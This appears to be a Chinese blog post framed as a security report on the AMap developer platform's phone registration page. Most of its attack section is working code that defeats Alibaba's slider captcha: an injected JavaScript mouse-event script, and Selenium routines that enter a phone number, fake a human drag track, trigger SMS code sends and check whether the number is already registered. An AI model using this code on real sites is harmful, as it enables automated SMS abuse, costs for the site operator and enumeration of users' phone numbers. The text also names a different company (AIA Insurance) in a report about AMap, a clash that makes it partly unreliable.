【高德開放平臺-注冊安全分析報告】

前言

由于網站注冊入口容易被黑客攻擊,存在如下安全問題:

  1. 暴力破解密碼,造成用戶信息泄露
  2. 短信盜刷的安全問題,影響業務及導致用戶投訴
  3. 帶來經濟損失,尤其是后付費客戶,風險巨大,造成虧損無底洞
    在這里插入圖片描述
    所以大部分網站及App 都采取圖形驗證碼或滑動驗證碼等交互解決方案, 但在機器學習能力提高的當下,連百度這樣的大廠都遭受攻擊導致點名批評, 圖形驗證及交互驗證方式的安全性到底如何? 請看具體分析

一、 高德開放平臺 PC 注冊入口

簡介:高德開發者平臺是一個提供地圖、定位、導航等LBS(Location Based Services)服務的開放平臺,旨在幫助合作伙伴和開發者利用這些服務來開發豐富的應用。
主要功能和服務
高德開發者平臺提供以下主要功能和服務:
地圖服務:包括地理編碼、逆地理編碼、地圖數據可視化等,支持多種設備和平臺(如JS、Android、iOS等)。
定位服務:提供基于LBS的定位服務,支持多種定位技術和設備。
導航服務:提供路線規劃、導航SDK等服務,方便在APP中集成導航功能1。
天氣查詢:提供目標區域的實時和未來天氣查詢服務。
智能硬件定位:通過基站、WiFi等方式獲取位置信息。

在這里插入圖片描述在這里插入圖片描述

二、 安全性分析報告:

友邦保險采用的是阿里的滑動條,
阿里的滑動條設計高度重視用戶體驗,但安全方面存在一定的設計缺陷,前端將密鑰顯示出來,造成一定程度的安全漏洞,上報后并未引起重視,漏洞依據存在。
在這里插入圖片描述

在這里插入圖片描述

三、 測試方法:

前端界面分析,這是阿里的滑動條,網上有一些的教學視頻,但形式都差不多,
阿里的滑動條有點像程咬金的三板斧,
1 檢測是否是 webdriver (有專門的文章怎么過檢)
2 滑動條檢測

滑動條在頁面嵌JS 就能過去 
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠時間,單位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 監測節點是否存在* @param selector    CSS選擇器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>

1. 模擬器交互

private final String INDEX_URL = "https://console.amap.com/dev/id/phone";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);driver.manage().window().maximize(); // 設置瀏覽器窗口最大化Thread.sleep(1 * 1000);// 輸入手機號WebElement phoneElement = driver.findElement(By.id("phone"));phoneElement.sendKeys(phone);boolean aliRet = AliClient.moveExec(driver, 450);if (!aliRet) {return retEntity;}Thread.sleep(1 * 1000);WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'獲取驗證碼')]"));((JavascriptExecutor) driver).executeScript("arguments[0].click();", sendElement);Thread.sleep(1 * 1000);WebElement existElement = ChromeUtil.waitElement(driver, By.xpath("//div[@class='ant-form-explain' and contains(text(),'已有高德賬號')]"), 10);if (existElement != null) {retEntity.setExist(1);}String msg = sendElement.getText();retEntity.setMsg(msg);if (msg != null && msg.contains("重新發送")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;}}

2. 模擬鼠標移動


public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 獲取滑動按鈕WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠標左鍵不釋放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移動}actions.release(moveElemet).perform();// 釋放鼠標左鍵// 滑動結果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("驗證通過")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}

3. 軌跡生成(單軸通過)


/*** 根據距離獲取滑動軌跡* * @param distance需要移動的距離* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移動軌跡List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 雙軸軌道生成算法,主要實現平滑加速和減速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移動軌跡try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已經移動的距離BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 減速閾值BigDecimal move = null;// 每次循環移動的距離List<Integer[]> subList = new ArrayList<Integer[]>();// 移動軌跡boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}

4. 測試返回結果:

在這里插入圖片描述

四丶結語

高德開發者平臺?是一個提供地圖、定位、導航等LBS(Location Based Services)服務的開放平臺,旨在幫助合作伙伴和開發者利用這些服務來開發豐富的應用。
作為國內領先的地圖服務提供商,擁有雄厚的技術實力,但在驗證產品方面,由于是阿里系,采用第三方的阿里的滑動條也是順其自然, 阿里的產品由于過度重視用戶體驗, 簡單的滑動條特別,模擬器只需要單軸的模擬軌道就可以通過, 說明阿里對軌跡的校驗比較寬松,之前的分析顯示,阿里主要是靠模擬器識別,如果這道關過了,就沒有其它的防護措施了 。

很多人在短信服務剛開始建設的階段,可能不會在安全方面考慮太多,理由有很多。
比如:“ 需求這么趕,當然是先實現功能啊 ”,“ 業務量很小啦,系統就這么點人用,不怕的 ” , “ 我們怎么會被盯上呢,不可能的 ”等等。

有一些理由雖然有道理,但是該來的總是會來的。前期欠下來的債,總是要還的。越早還,問題就越小,損失就越低。

所以大家在安全方面還是要重視。(血淋淋的栗子!)#安全短信#

戳這里→康康你手機號在過多少網站注冊過!!!

谷歌圖形驗證碼在AI 面前已經形同虛設,所以谷歌宣布退出驗證碼服務, 那么當所有的圖形驗證碼都被破解時,大家又該如何做好防御呢?

>>相關閱讀
《騰訊防水墻滑動拼圖驗證碼》
《百度旋轉圖片驗證碼》
《網易易盾滑動拼圖驗證碼》
《頂象區域面積點選驗證碼》
《頂象滑動拼圖驗證碼》
《極驗滑動拼圖驗證碼》
《使用深度學習來破解 captcha 驗證碼》
《驗證碼終結者-基于CNN+BLSTM+CTC的訓練部署套件》

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/80936.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/80936.shtml
英文地址,請注明出處:http://en.pswp.cn/web/80936.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2024 CKA模擬系統制作 | Step-By-Step | 3、CKA考試系統的技術設置

目錄 免費獲取題庫配套 CKA_v1.31_模擬系統 一、免費提權配置 1、使用vim 編輯/etc/sudoers 二、安裝命令 1、安裝運行時接口命令 2、安裝Etcd命令 3、配置K8S命令自動補全 三、配置Kubectl 訪問集群 1、Master節點 2、Node01節點 四、SSH配置 1、Node01節點candi…

微信小程序請求扣子(coze)api的例子

1. 準備工作 在開始之前&#xff0c;確保已經完成了以下準備工作&#xff1a; 創建并發布了 Coze 智能體。獲取了個人訪問令牌&#xff08;Personal Access Token&#xff09;&#xff0c;這是用于授權的關鍵憑證。確認目標智能體的 Bot ID 和其他必要參數已準備就緒。 2. 請…

visual studio重新安裝如何修改共享組件、工具和SDK路徑方案

安裝了VsStudio后,如果自己修改了Shared路徑&#xff0c;當卸載舊版本&#xff0c;需要安裝新版本時發現&#xff0c;之前的Shared路徑無法進行修改&#xff0c;這就很坑了 但是卻遇到了路徑無法修改的問題…真讓人頭大&#xff0c;當然不修改也可以&#xff0c;有時候&#x…

【Python 算法零基礎 4.排序 ② 冒泡排序】

目錄 一、引言 二、算法思想 三、時間復雜度和空間復雜度 1.時間復雜度 2.空間復雜度 四、冒泡排序的優缺點 1.算法的優點 2.算法的缺點 五、實戰練習 88. 合并兩個有序數組 算法與思路 ① 合并數組 ② 冒泡排序 2148. 元素計數 算法與思路 ① 排序 ② 初始化計數器 ③ 遍歷數組…

Java設計模式之橋接模式:從入門到精通

文章目錄 1. 橋接模式概述1.1 定義與核心思想1.2 模式結構1.3 通俗理解2. 橋接模式詳解2.1 為什么需要橋接模式2.2 橋接模式與相關模式對比2.3 橋接模式的優缺點3. 橋接模式實現步驟3.1 實現步驟詳解3.2 代碼示例:遙控器與電視4. 橋接模式的高級應用4.1 多維度擴展4.2 與工廠模…

AI與.NET技術實操系列(六):實現圖像分類模型的部署與調用

引言 人工智能&#xff08;AI&#xff09;技術的迅猛發展推動了各行各業的數字化轉型。圖像分類&#xff0c;作為計算機視覺領域的核心技術之一&#xff0c;能夠讓機器自動識別圖像中的物體、場景或特征&#xff0c;已廣泛應用于醫療診斷、安防監控、自動駕駛和電子商務等領域…

Cause: org.apache.ibatis.ognl.OgnlException: sqlSegment

17:12:47.358 [http-nio-11080-exec-2] ERROR c.c.f.w.e.GlobalExceptionHandler - [handleRuntimeException,100] - 請求地址/xx/xxx/xxx/xxx/xxx/8bbe5b132a7a4d9bb28cedfeac94d69f,發生未知異常. org.mybatis.spring.MyBatisSystemException: nested exception is org.apach…

jmeter登錄接口生成一批token并寫入csv文件

背景&#xff1a;大部分項目真實的業務接口都是需要token鑒權的&#xff0c;想對一批核心業務接口進行并發壓測&#xff0c;必然要先生成一批token給這些接口并發循環調用。 基本的思路是這樣的&#xff1a;一批手機號csv文件 -》登錄接口循環讀取csv文件并生成token -》每次…

技術篇-2.3.Golang應用場景及開發工具安裝

Golang 雖然語法簡潔&#xff0c;上手也較快&#xff0c;但其在高并發、微服務和云原生領域的優勢明顯&#xff0c;要真正精通并靈活運用仍需積累大量實踐經驗。與 Java 借助重量級框架不同&#xff0c;Go 傾向于使用標準庫和輕量級第三方包來構建高性能、低延遲的系統。 1.1應…

Java面試問題基礎篇

面向對象 面向對象編程&#xff1a;拿東西過來做對應的事情 特征&#xff1a; 封裝&#xff1a;對象代表什么&#xff0c;就要封裝對應的數據&#xff0c;并提供數據對應的行為 繼承&#xff1a;Java中提供一個關鍵字extends&#xff0c;用這個關鍵字可以讓一個類和另一個類…

SpringBoot的前世今生

1. Spring Spring 特性&#xff1a;IOC、AOP、DI&#xff0c; Spring&#xff1a;解決對象耦合的問題&#xff0c;在 applicationContext.xml 中申明 bean&#xff0c;Spring在啟動時會解析xml文件進行裝載&#xff0c;當需要用對象時直接從容器中拿取bean。 Spring萬能膠&a…

微信小程序自行diy選擇器有效果圖

效果圖 實現思路 主要運用到小程序自帶視圖容器《swiper》 運用到的屬性《vertical》《display-multiple-items》《current》《animationfinish》 滑動方向變為縱向 vertical&#xff1a;true 顯示的滑塊數量 display-multiple-items&#xff1a;5 當前所在滑塊的 index curr…

【實用教程】如何快速搭建一套私有的埋點系統?

這篇教程將基于開源項目-ClkLog&#xff0c;教大家快速搭建一套自有的埋點系統&#xff0c;從0開始完成數據采集、分析與展示&#xff0c;全流程掌控用戶行為數據。 ClkLog是一款支持私有化部署的全開源用戶行為數據采集與分析系統&#xff0c;兼容Web、App、小程序多端埋點&am…

falsk模型-flask_sqlalchemy增刪改查

1、增、刪、改 增 home_bp.route(/useradd) def user_add():users []for i in range(10,20):user User()user.name 冰冰 str(i)user.age 20iusers.append(user)try:db.session.add_all(users)db.session.commit()return jsonify({code:1,info:success})except Exception…

【專題】機器學習期末復習資料

機器學習期末復習資料&#xff08;題庫&#xff09; 鏈接&#xff1a;https://blog.csdn.net/Pqf18064375973/article/details/148105494?sharetypeblogdetail&sharerId148105494&sharereferPC&sharesourcePqf18064375973&sharefrommp_from_link 【測試】 Art…

SpringCloud Alibaba微服務-- Sentinel的使用(筆記)

雪崩問題&#xff1a; 小問題引發大問題&#xff0c;小服務出現故障&#xff0c;處理不當&#xff0c;可能導致整個微服務宕機。 假如商品服務出故障&#xff0c;購物車調用該服務&#xff0c;則可能出現處理時間過長&#xff0c;如果一秒幾十個請求&#xff0c;那么處理時間過…

5:OpenCV—圖像亮度、對比度變換

1.更改圖像和視頻的亮度 更改亮度 更改圖像的亮度是常用的點操作。在此操作中&#xff0c;圖像中每個像素的值應增加/減少一個常數。要更改視頻的亮度&#xff0c;應對視頻中的每一幀執行相同的操作。 如果要增加圖像的亮度&#xff0c;則必須為圖像中的每個像素添加一些正常…

【工作流】Fastgpt配置豆包模型-火山引擎

V4.9.7 Fastgpt現在不通過oneapi 來配置模型和渠道了&#xff0c; 可以直接在頁面進行設置 首先在賬號- 模型提供商里面 填入豆包的信息&#xff1a; 渠道名隨便填&#xff0c;廠商選豆包&#xff0c; 然后選3個模型&#xff0c;如圖所示 如果沒有填入模型映射的話是沒辦法 …

2025年系統架構師---綜合知識卷

1.進程是一個具有獨立功能的程序關于某數據集合的一次運行活動,是系統進行資源分配和調度的基本單位(線程包含于進程之中,可并發,是系統進行運算調度的最小單位)。一個進程是通過其物理實體被感知的,進程的物理實體又稱為進程的靜態描述,通常由三部分組成,分別是程序、…

LangChain4j入門AI(六)整合提示詞(Prompt)

前言 提示詞&#xff08;Prompt&#xff09;是用戶輸入給AI模型的一段文字或指令&#xff0c;用于引導模型生成特定類型的內容。通過提示詞&#xff0c;用戶可以告訴AI“做什么”、 “如何做”以及“輸出格式”&#xff0c;從而在滿足需求的同時最大程度減少無關信息的生成。有…